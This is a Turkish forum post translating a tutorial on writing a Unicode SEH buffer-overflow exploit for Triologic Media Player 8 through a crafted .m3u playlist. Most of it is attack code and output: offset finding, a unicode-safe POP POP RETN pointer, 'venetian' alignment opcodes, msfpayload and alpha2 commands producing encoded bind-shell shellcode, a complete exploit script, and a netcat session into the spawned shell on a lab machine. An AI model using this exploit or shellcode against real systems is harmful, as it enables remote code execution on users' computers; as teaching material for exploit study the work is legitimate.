Windows Exploit Geliştirme Serisi #5 | Unicode 0x00410041

Gauloran

Moderasyon Tim Lideri
7 Tem 2013
8,364
5
931
Blackwell Academy
Exploit geliştirme serisinin 5.bölümüne tekrardan hoş geldiniz. Bundan önceki bölümlerin gitgide daha da karmaşık hale geldiğini ve birbirinin üzerine kurulu olduğunu yani birbirine bağlı olduğunu fark etmişsinizdir. Bu konu da diğerlerinden farklı değil. Artık işimizi daha da geliştirme ve unicode canavarını yani bölüm sonu canavarını öldürme zamanı geldi :)

Bu bölüm size çok önemli 2 şey öğretecek. Birincisi hayat size limon verdiğine altına dönüştürmeye çalışın. İkincisi de gerçekten uğraşın. Daha fazla uğraşın, çalışın ve çabalayın. unicode exploit gelişimini göstermek için sıfırdan bir Triologic Media Player 8 exploiti oluşturacağız. Önceden oluşturulmuş zaten varolan exploiti
https://www.exploit-db.com/exploits/14673/ dan bulabilirsiniz.


Exploit geliştirme: Backtrack 5
Hata ayıklama makinesi: Windows XP PRO SP3
Savunmasız yazılımın linki şu anda ölü :(


İlk olarak unicode'un ne olduğunu anlamanız daha iyi olur. Kullanıcı tanımlı girdi kabul eden bir program olduğunu varsayalım. Bu kullanıcı Belçika veya Amerika'dansa aynı karakter setini kullandığımız için karakter kodlamasının çok da bir etkisi olmayacaktır. Tabi genel anlamda konuşuyorum. Ama gelgelelim kullanıcı Arapça ya da geleneksel Çince gibi karakter setleri kullanıyorsa bu karakterlerin ASCII Kodlarına göre dönüştürülemeyeceği açıktır. Yazılım geliştiriciler, ürünlerinin tüm dünyada kullanılmasını istiyorlarsa bu sorunu çözmek zorundalar.

Exploit geliştirme amacıyla, unicode'u sınırlı bir karakter seti kullanmaya benzer bir şekilde düşünmemiz gerekli. Bu tarz bir programı exploitlemeye çalıştığımızda arabellek taşması yüksek ihtimalle unicode'a dönüştürülecektir. Bu şu demek, arabelleğimizin 0x00 Orijinal baytlara ekleyerek genişletilecektir. (tabi bu tamamen net bir şekilde olmuyor)

Aşağıdaki örneğe bakın:


Kod:
ASCII:
A  ==> 0x41

Unicode:
A  ==> 0x0041

2-bytes:
AB ==> 0x4142     (ASCII)
AB ==> 0x00410042 (Unicode)
Açıkçası bu büyük bir sorun çünkü EIP'nin üzerine yazmak isteyebileceğimiz herhangi bir adres -shell kodumuzu saymıyorum(u003d sorunu)- konumuz olacaktır. İnsanlar uzuun bir süre boyunca unicode taşmalarından (DOS haricinde) yararlanılamayacağına inandıklarından dolayı bu durum şaşırtıcı değil. Fakat Chris Anley tarafından 2002 yılında yayınlanan bir makale, bunun yanlış olduğunu gösterdi. Unicode exploiti ile ilgili ayrıntılı bir analiz içeren makale 2003 yılında Phrack tarafından yayınlanmıştı onu okumanızı kesinlikle tavsiye ediyorum. Ayrıca Unicode exploitine ilişkin en önemli katkı, alfa2 tarafından yayınlanan SkyLined'tır. Unicode uyumlu shell kodu üretebilir. Konuya giriş olarak verebileceğim bilgiler bunlardı, aşağıda örneklerle birlikte anlattığımda konu netleşecektir. Tabi bu konularda verilen bilgiler her şeyi kapsamıyor bunun da farkındasınızdır umarım yani burada sadece temelden bilgi veriyoruz ve bu konularda ustalaşmak için araştırma yapmak zorundasınız.

Başlayalım...

Triologic Media Player 8'i çökertme vakti geldi. Bu da başka bir dosya biçimi exploiti olacak. Aşağıda POC'umuzu görebilirsiniz. Ayrıca çökmeyi nasıl tetikleyeceğimizi göstermesi gereken bir ekran görüntüsü de ekledim. "List" butonuna basarak "evil.m3u" yu yüklemeniz gerekiyor. Sürükleyip bırakmak da işe yaramayacak.


Kod:
#!/usr/bin/python -w
 
filename="evil.m3u"
 
buffer = "A"*5000
 
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
1_unicode_big.png


burda yeni bir şey yok. "evil.m3u" yu oluşturun medya oynatıcıyı hata ayıklayıcıya ekleyin ve playlist'i yükleyin. Vee beklediğimiz gibi çökmeyi görüyoruz. Burada not edilmesi gereken birkaç şey var. Birincisi birkaç cpu kaydı, arabelleğimizin bir bölümünü içeriyor. Bu da arabelleğin dönüştürüldüğünü gösteriyor. İkincisi de altta bunlardan birinin çıktısını görebilirsiniz. Kayıtlar (beklediğimiz gibi ..00410041..) ve Üçüncüsü de SEH zinciri de unicode arabelleğimiz tarafından üzerine yazılır.


2_unicode_big.png


nSEH && SEH

Görünen o ki SEH ve unicode ile uğraşacağız. Birçok unicode exploitinin SEH kaynaklı olduğunu fark ettim ve bu benim için iyi bir ders oldu. Her zamanki gibi, analiz etmek için arabelleğimizi ****sploit modeliyle değiştireceğiz.

Kod:
root@bt:~/Desktop# cd /pentest/exploits/framework/tools/
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 5000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5
[...snip...]
Bahsetmem gereken bir şey var. Sorun şu ki !mona yı ****sploit için kullandığımda hata ayıklayıcım donuyor. Ama bu ilerlememize yarayacak olan sonuçları aldıktan sonra gerçekleştiğinden dolayı sıkıntı yok. Aşağıda eksik olan analizin ekran görüntüsünü görebilirsiniz.

!mona findmap


3_unicode_big.png


Ekran görüntüsünden SEH'in üzerine 2 baytlık (hatırlayın unicode olduğundan dolayı 4 bayt değil 2 bayt) arabelleğin ilk 536 baytını doğrudan takip ettiğini görebilirsiniz. Bu da yeni arabelleğimizin böyle gözükmesini sağlar:


buffer = "\x90"*536 + [SEH] + "B"*4464
buffer = "\x90"*534 + [nSEH] + [SEH] + "B"*4464

Fakat bazı nedenlerden dolayı bu doğru değil (belki de analiz sırasında daha demin bahsettiğim hata ayıklayıcının donması yüzünden oldu) Biraz test yaptıktan sonra 2 baytlık bir fark olduğunu keşfettim. Doğrusu şu yani:

buffer = "\x90"*536 + [nSEH] + [SEH] + "B"*4462
buffer = "\x90"*536 + "C"*2 + "D"2 + "B"*4462

Sonu iyi biten her şey iyidir. Shift-F9 ile ilk istisnayı atlatırsanız, EIP'nin üzerine 2 D'mizin yazıldığını görürsünüz. (DD u003d 0x4444, unicode nedeniyle 0*00440044 oluyor.) Devam etmeden önce açıklanması gereken birkaç şey var. Birincisi, normalde SEH kaynaklı bir exploitte SEH'in üzerine POP POP RETN işaretçisi ile yazmak isteyeceğiz. İkincisi de SEH üzerinden nSEH'in üzerine yazacağız. Eğer bu size tanıdık gelmediyse, exploit geliştirme serisinin 3.bölümünü okumanızı tavsiye ederim. Unicode SEH biraz farklıdır. Yine de SEH'in üzerine POP POP RETN işaretçisi ile yazacağız ama nSEH'de öncekilerde yaptığımız gibi kısa bir atlama oluşturmamız mümkün değil.

Devam etmeden önce, CPU onları çalıştırdığında unicode komutlarının nasıl hizalandığına daha yakından bakalım.

Kod:
ASCII   ==> ...AAAA...
Unicode ==> ...0041004100410041...

But lets see what this looks like when it gets translated to instructions:
...
41         INC ECX
004100     ADD BYTE PTR DS:[ECX],AL
41         INC ECX
004100     ADD BYTE PTR DS:[ECX],AL
...

So this is very very interesting! It seems like one byte will remain intact and the following byte will 
"absorb" both 00's. What we will want to do is replace this second byte with an instruction that, when 
executed, will be harmless (FYI 0x004100 is not a harmless instruction). You might call this a unicode NOP
or Venetian shellcode since canceling out 00's is similar to closing Venetian blinds. There are a couple 
of candidates to absorb these 00's (these won't always be suitable):

006E00     ADD BYTE PTR DS:[ESI],CH
006F00     ADD BYTE PTR DS:[EDI],CH
007000     ADD BYTE PTR DS:[EAX],DH
007100     ADD BYTE PTR DS:[ECX],DH
007200     ADD BYTE PTR DS:[EDX],DH
007300     ADD BYTE PTR DS:[EBX],DH
Unicode SEH'imize geri dönelim. nSEH'e kısa bir atlama yapamayacağımızdan dolayı, oraya arabelleğimize zarar vermeyecek bazı talimatlar yerleştirdiğimizden emin olmalıyız. Yukarıdaki örneğe bakarak artık şunu yapabiliriz:

nSEH = "\x41\x71"
SEH = ?????
buffer = "\x90"*536 + "\x41\x71" + "D"2 + "B"*4462

İki sorun kaldı. Birincisi SEH'e yerleştirmek için unicode uyumlu bir POP POP RETN komutu bulmamız gerekli. İkincisi de nSEH, SEH'in üzerinden atlayamayacağı için bu talimatların da zararsız olması gerekli. (u003 sorunu). Neyseki !mona'nın unicode uyumlu adresleri filtreleyerek ağır işi yapmasını sağlayabiliriz :d Aşağıdaki ekran görüntüsünde görebilirsiniz:

4_unicode_big.png


11 işaretçinin hepsini test ettim ve bazıları yürütme akışını POP POP RETN'e yönlendirirken yalnızca bir tanesi opcode'a dönüştürüldükten sonra zararsız olduğunu kanıtladı.

Pointer: 0x004100f2 : pop esi # pop ebx # ret 04 | startnull,unicode {PAGE_EXECUTE_READWRITE} [triomp8.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v8.0.0.0 (C:\Program Files\Triologic\Triologic Media Player\triomp8.exe)
Buffer: buffer = "\x90"*536 + "\x41\x71" + "\xF2\x41" + "B"*4462

Kesme noktamıza ulaştığımızı ve POP POP RETN'imize döndükten sonra nSEH ve SEH'den geçebileceğimizi gösteren iki tane ekran görüntüsü ekledim. Düzene dikkat ettiğimden dolayı biraz düzenleyip yapılandırdığım yeni POC exploitimizi görebilirsiniz.

5_unicode_big.png

6_unicode_big.png


Kod:
#!/usr/bin/python -w
 
filename="evil.m3u"
 
#---------------------SEH-Structure---------------------#
#nSEH => \x41\x71 => 41       INC ECX                   #
#                    0071 00  ADD BYTE PTR DS:[ECX],DH  #
#SEH =>  \xF2\x41 => F2:      PREFIX REPNE:             #
#                    0041 00  ADD BYTE PTR DS:[ECX],AL  #
#-------------------------------------------------------#
#0x004100f2 : pop esi # pop ebx # ret 04 | triomp8.exe  #
#-------------------------------------------------------#
SEH = "\x41\x71" + "\xF2\x41"
 
boom = SEH #more to come
buffer = "\x90"*536 + boom + "B"*(4466-len(boom))
 
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Şimdi, unicode SEH yapısını atlatma kısmını hallettik. Derin bir nefes alın çünkü iyi iş çıkardınız :d tekrar söylüyorum bu işlemler size yabancı geliyorsa yukarıda bahsettiğim Phrack makalesini okumanızı tavsiye ediyorum. Ayrıca unicode kullanımı ile ilgili olan corelan eğitimini de okumanızı öneririm okuduğunuza kesinlikle değer.

Shell kodumuzu SEH'in hemen ardından koyacağımız için aslında burada işimiz bitiyor. Ancak bu işlem bir unicode arabelleği ile mümkün olmayacaktır. Normalde shell kodumuz bir getpc rutinini içerir unicode shell kodu için böyle bir standart rutin yoktur. CPU Kayıtlarından birini tam olarak kodumuzun başlangıcına koyarak bu rutini manuel olarak gerçekleştirmemiz gerekecek.

İki şeyden birini yapmanız gerekiyor. (bu kesinlikle doğru değil ama %90 oranında doğur oluyor :d) Ya arabelleğinize yakın olan bir CPU kaydı bulup ona değerler ekleyip çıkararak yeniden hizalayacaksınız ya da yığında arabelleğinizi işaret eden bir adres bulup yığının değerlerinin artmasını sağlayın.

Ben bahsettiğim ilk seçeneği seçip devam edeceğim çünkü CPU Kayıtlarının birçoğunu inceledikten sonra arabelleğimize baya yakın olduğunu fark ettim. Sonunda EBP Kaydını kullanmayı tercih ettim. Aşağıda bu kaydın arabelleğimize olan yakınlığını gösteren bellek dökümünü görebilirsiniz.

7_unicode_big.png


Kaydı NOP'larımızla (arabelleğimizin ilk kısmı) hizalamıyoruz. SEH bypass'ımızdan (B'lerimiz için) sonra hizaladığımızı da unutmayın. Bazı akıllıca hesaplamalardan sonra, EBP'yi doğru yere yönlendirmek için yaklaşık 2300 bayt eklemem gerekiyordu (bu EBP +900'e eş değer olacaktır.) Uzunlukla oynadıktan sonra yalnızca yaklaşık olarak 770 bayt eklemem gerektiğini görünce şaşırdım. (bu hex'te EBP +300'e denk geliyor.) Tam olarak nedenini bilmiyorum ama bu konuyu okuyan arkadaşlardan birisi beni aydınlatmak istiyorsa bana mail atabilir.

Kaydımızı yeniden hizalaması gereken işlem kodumuzu (opcode) oluşurma zamanı geldi. Fazla 00'ları absorbe etmek için Unicode NOP'ları kullanmamız gerekecek.

Kod:
"\x55"               #push the value of EBP on to the stack
"\x71"               #Venetian Padding
"\x58"               #take the value of EBP and pop it into EAX
"\x71"               #Venetian Padding
"\x05\x20\x11"       #add eax,0x11002000  \
"\x71"               #Venetian Padding     |> the net sum will add 300 to the value in EAX
"\x2d\x17\x11"       #sub eax,0x11001700  /
"\x71"               #Venetian Padding
"\x50"               #push the new value of EAX onto the stack (points to our buffer)
"\x71"               #Venetian Padding
"\xC3"               #redirect execution flow to the pointer at the top of the stack ==> EAX
Tamamdır, aşağıdaki ekran görüntüsünde sonucu görebilirsiniz. Shell kodunu hizalamasını içeren yeni POC'umuzu görebilirsiniz.

8_unicode_big.png


Kod:
#!/usr/bin/python -w
 
filename="evil.m3u"
 
#---------------------SEH-Structure---------------------#
#nSEH => \x41\x71 => 41       INC ECX                   #
#                    0071 00  ADD BYTE PTR DS:[ECX],DH  #
#SEH =>  \xF2\x41 => F2:      PREFIX REPNE:             #
#                    0041 00  ADD BYTE PTR DS:[ECX],AL  #
#-------------------------------------------------------#
#0x004100f2 : pop esi # pop ebx # ret 04 | triomp8.exe  #
#-------------------------------------------------------#
SEH = "\x41\x71" + "\xF2\x41"
 
#-----------------------Alignment-----------------------#
#After we step through nSEH and SEH if look at the dump #
#of the CPU registers we can see several which are close#
#to our shellcode, I chose EBP. Time for some Venetian  #
#Black-Magic alignment...                               #
#-------------------------------------------------------#
align = (
"\x55"                      #push EBP   
"\x71"                      #Venetian Padding
"\x58"                      #pop EAX
"\x71"                      #Venetian Padding
"\x05\x20\x11"              #add eax,0x11002000  \
"\x71"                      #Venetian Padding     |> +300
"\x2d\x17\x11"              #sub eax,0x11001700  /
"\x71"                      #Venetian Padding
"\x50"                      #push EAX
"\x71"                      #Venetian Padding
"\xC3")                     #RETN
 
boom = SEH + align
buffer = "\x90"*536 + boom + "B"*(4466-len(boom))
 
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Her şey beklediğimiz gibi. EAX, yerleştirmek isteyeceğimiz herhangi bir shell kodu için yeterli alana sahip arabelleğimize işaret ediyor. Geriye kalan tek şeyse, shell kodumuzun EAX kaydının başlangıcına işaret etmesi için arabelleğimizi doldurmaktır. Sanırım bunu ****sploit ile yapabilirsiniz fakat ben manuel olarak hesapladım.

Kod:
#!/usr/bin/python -w
 
filename="evil.m3u"
 
#---------------------SEH-Structure---------------------#
#nSEH => \x41\x71 => 41       INC ECX                   #
#                    0071 00  ADD BYTE PTR DS:[ECX],DH  #
#SEH =>  \xF2\x41 => F2:      PREFIX REPNE:             #
#                    0041 00  ADD BYTE PTR DS:[ECX],AL  #
#-------------------------------------------------------#
#0x004100f2 : pop esi # pop ebx # ret 04 | triomp8.exe  #
#-------------------------------------------------------#
SEH = "\x41\x71" + "\xF2\x41"
 
#-----------------------Alignment-----------------------#
#After we step through nSEH and SEH if look at the dump #
#of the CPU registers we can see several which are close#
#to our shellcode, I chose EBP. Time for some Venetian  #
#Black-Magic alignment...                               #
#-------------------------------------------------------#
align = (
"\x55"                      #push EBP   
"\x71"                      #Venetian Padding
"\x58"                      #pop EAX
"\x71"                      #Venetian Padding
"\x05\x20\x11"              #add eax,0x11002000  \
"\x71"                      #Venetian Padding     |> +300
"\x2d\x17\x11"              #sub eax,0x11001700  /
"\x71"                      #Venetian Padding
"\x50"                      #push EAX
"\x71"                      #Venetian Padding
"\xC3")                     #RETN
 
#We need to pad our buffer to the place of our alignment in EAX
filler = "\x58"*117
 
shellcode = (
)
 
boom = SEH + align + filler + shellcode
buffer = "\x90"*536 + boom + "B"*(4466-len(boom))
 
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Shellcode

Aslında işimiz bitti. Geriye kalan tek şey unicode uyumlu bazı istenen shell kodlarını oluşturmak. SkyLined'ın mükemmel çalışmasından dolayı bu işlemi yapmak oldukça kolay. Alpha2 encoder'ın bir kopyasını buradan edinebilirsiniz. http://skypher.com/wiki/index.php/Hacking/Shellcode/Alphanumeric/ALPHA2

Yalnızca C kaynağını bir yere indirin ve gcc ile derleyin. Aşağıdaki shell kodumuzu oluşturmak için syntax'ı yani sözdizimini inceleyebilirsiniz.

Kod:
root@bt:/pentest/alpha2# msfpayload -l
[...snip...]
windows/shell/reverse_tcp_dns    Connect back to the attacker, Spawn a piped command shell (staged)
windows/shell_bind_tcp           Listen for a connection and spawn a command shell
windows/shell_bind_tcp_xpfw      Disable the Windows ICF, then listen for a connection and spawn a 
                                 command shell
[...snip...]

root@bt:/pentest/alpha2# msfpayload windows/shell_bind_tcp O

       Name: Windows Command Shell, Bind TCP Inline
     Module: payload/windows/shell_bind_tcp
    Version: 8642
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 341
       Rank: Normal

Provided by:
  vlad902 <[email protected]>
  sf <[email protected]>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LPORT     4444             yes       The listen port
RHOST                      no        The target address

Description:
  Listen for a connection and spawn a command shell
  
root@bt:/pentest/alpha2# msfpayload windows/shell_bind_tcp LPORT=9988 R > bindshell9988.raw

root@bt:/pentest/alpha2# ./alpha2 eax --unicode --uppercase < bindshell9988.raw
PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1
AYAZBABABABAB30APB944JBKLK8CYKPM0KPQP59ZEP18RQTTKQBNP4KQBLLTK0RLTDKCBMXLOWGOZO6NQKONQ7PVLOLC13LKRNLO0GQHOL
MKQY7YRL022R74KPRLP4KPBOLKQJ0TKOPSHSU7PD4OZKQ8PPPTKQ8LX4KQHO0M1ICJCOLOYTK04TKM1YFP1KONQ7P6L7QXOLMKQ7W08K0R
UZTM33ML8OKCMO4SEYRQHTKPXO4KQICQV4KLLPK4KR8MLKQHSTKKT4KKQJ0SYOTO4NDQKQK1Q0Y1JPQKOIPB8QOQJTKMBJKTFQM38NSOBK
PKPQXBWBSNRQOB4QXPLBWNFLGKO8UWHDPM1KPKPNIWTPTPPBHO9SPRKKPKOJ50P20PP0P10PP10R0S89ZLOIOYPKO9EE9XGNQ9K1CRHM2K
PNGKTTIK61ZLP0V0WBH7RYKOGS7KOXU0SPWQX7GIYOHKOKOZ50SB3R7C83DZLOKK1KO8UQGTIGWS8RURN0M1QKO8URHRC2MQTKPTIK31G0
WPWNQL6QZMBR9R6JBKM1VY7OTMTOLM1KQTMOTO4N096KPQ4B4PPQF0VPVOV26PNB6R6B3QF1X3IHLOO3VKOHUTIK00NR6PFKONP38LHU7M
MQPKOXUGKJPGEVBPV38G6F5GM5MKOXUOLLF3LKZCPKKIPBUM57KOWMCSBRO2JM0PSKO9EA
Shell kodumuzu kodlarken doğru kaydı belirlemeye dikkat etmelisiniz. Birkaç not ekledikten sonra exploitimiz hazır hale geldi!

Kod:
#!/usr/bin/python -w
 
#-------------------------------------------------------------------------------#
# Exploit: Triologic Media Player 8 (.m3u) SEH Unicode                          #
# Author: b33f (Ruben Boonen) - http://www.fuzzysecurity.com/                   #
# OS: WinXP PRO SP3                                                             #
# Software: http://download.cnet.com/Triologic-Media-Player/                    #
#           3000-2139_4-10691520.html                                           #
#-------------------------------------------------------------------------------#
# This exploit was created for Part 5 of my Exploit Development tutorial        #
# series - http://www.fuzzysecurity.com/tutorials/expDev/5.html                 #
#-------------------------------------------------------------------------------#
# root@bt:/pentest/alpha2# nc -nv 192.168.111.128 9988                          #
# (UNKNOWN) [192.168.111.128] 9988 (?) open                                     #
# Microsoft Windows XP [Version 5.1.2600]                                       #
# (C) Copyright 1985-2001 Microsoft Corp.                                       #
#                                                                               #
# C:\********s and Settings\Administrator\Desktop>                              #
#-------------------------------------------------------------------------------#
 
filename="evil.m3u"
 
#---------------------SEH-Structure---------------------#
#nSEH => \x41\x71 => 41       INC ECX                   #
#                    0071 00  ADD BYTE PTR DS:[ECX],DH  #
#SEH =>  \xF2\x41 => F2:      PREFIX REPNE:             #
#                    0041 00  ADD BYTE PTR DS:[ECX],AL  #
#-------------------------------------------------------#
#0x004100f2 : pop esi # pop ebx # ret 04 | triomp8.exe  #
#-------------------------------------------------------#
SEH = "\x41\x71" + "\xF2\x41"
 
#-----------------------Alignment-----------------------#
#After we step through nSEH and SEH if look at the dump #
#of the CPU registers we can see several which are close#
#to our shellcode, I chose EBP. Time for some Venetian  #
#Black-Magic alignment...                               #
#-------------------------------------------------------#
align = (
"\x55"                      #push EBP   
"\x71"                      #Venetian Padding
"\x58"                      #pop EAX
"\x71"                      #Venetian Padding
"\x05\x20\x11"              #add eax,0x11002000  \
"\x71"                      #Venetian Padding     |> +300
"\x2d\x17\x11"              #sub eax,0x11001700  /
"\x71"                      #Venetian Padding
"\x50"                      #push EAX
"\x71"                      #Venetian Padding
"\xC3")                     #RETN
 
#We need to pad our buffer to the place of our alignment in EAX
filler = "\x58"*117
 
#---------------------------------------Shellcode---------------------------------------------#
#root@bt:/pentest/alpha2# msfpayload windows/shell_bind_tcp LPORT=9988 R > bindshell9988.raw  #
#root@bt:/pentest/alpha2# ./alpha2 eax --unicode --uppercase < bindshell9988.raw              #
#---------------------------------------------------------------------------------------------#
shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1"
"AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA"
"BAB30APB944JBKLK8CYKPM0KPQP59ZEP18RQTTKQBNP4KQBLLTK0RLTDKC"
"BMXLOWGOZO6NQKONQ7PVLOLC13LKRNLO0GQHOLMKQY7YRL022R74KPRLP4"
"KPBOLKQJ0TKOPSHSU7PD4OZKQ8PPPTKQ8LX4KQHO0M1ICJCOLOYTK04TKM"
"1YFP1KONQ7P6L7QXOLMKQ7W08K0RUZTM33ML8OKCMO4SEYRQHTKPXO4KQI"
"CQV4KLLPK4KR8MLKQHSTKKT4KKQJ0SYOTO4NDQKQK1Q0Y1JPQKOIPB8QOQ"
"JTKMBJKTFQM38NSOBKPKPQXBWBSNRQOB4QXPLBWNFLGKO8UWHDPM1KPKPN"
"IWTPTPPBHO9SPRKKPKOJ50P20PP0P10PP10R0S89ZLOIOYPKO9EE9XGNQ9"
"K1CRHM2KPNGKTTIK61ZLP0V0WBH7RYKOGS7KOXU0SPWQX7GIYOHKOKOZ50"
"SB3R7C83DZLOKK1KO8UQGTIGWS8RURN0M1QKO8URHRC2MQTKPTIK31G0WP"
"WNQL6QZMBR9R6JBKM1VY7OTMTOLM1KQTMOTO4N096KPQ4B4PPQF0VPVOV2"
"6PNB6R6B3QF1X3IHLOO3VKOHUTIK00NR6PFKONP38LHU7MMQPKOXUGKJPG"
"EVBPV38G6F5GM5MKOXUOLLF3LKZCPKKIPBUM57KOWMCSBRO2JM0PSKO9EA")
 
boom = SEH + align + filler + shellcode
buffer = "\x90"*536 + boom + "B"*(4466-len(boom))
 
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
AŞşağıdaki ekran görüntülerinde gördüğünüz gibi, shell kodumuz EAX kaydıyla mükemmel bir şekilde hizalandı ve "netstat -an" ifadesi bindshell'imizin dinlediğini gösteriyor.


9_unicode_big.png


10_unicode_big.png


Kod:
root@bt:/pentest/alpha2# nc -nv 192.168.111.128 9988
(UNKNOWN) [192.168.111.128] 9988 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\********s and Settings\Administrator\Desktop>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.111.128
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 

C:\********s and Settings\Administrator\Desktop>
Source: https://www.fuzzysecurity.com/tutorials/expDev/5.html
Translator @Gauloran
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.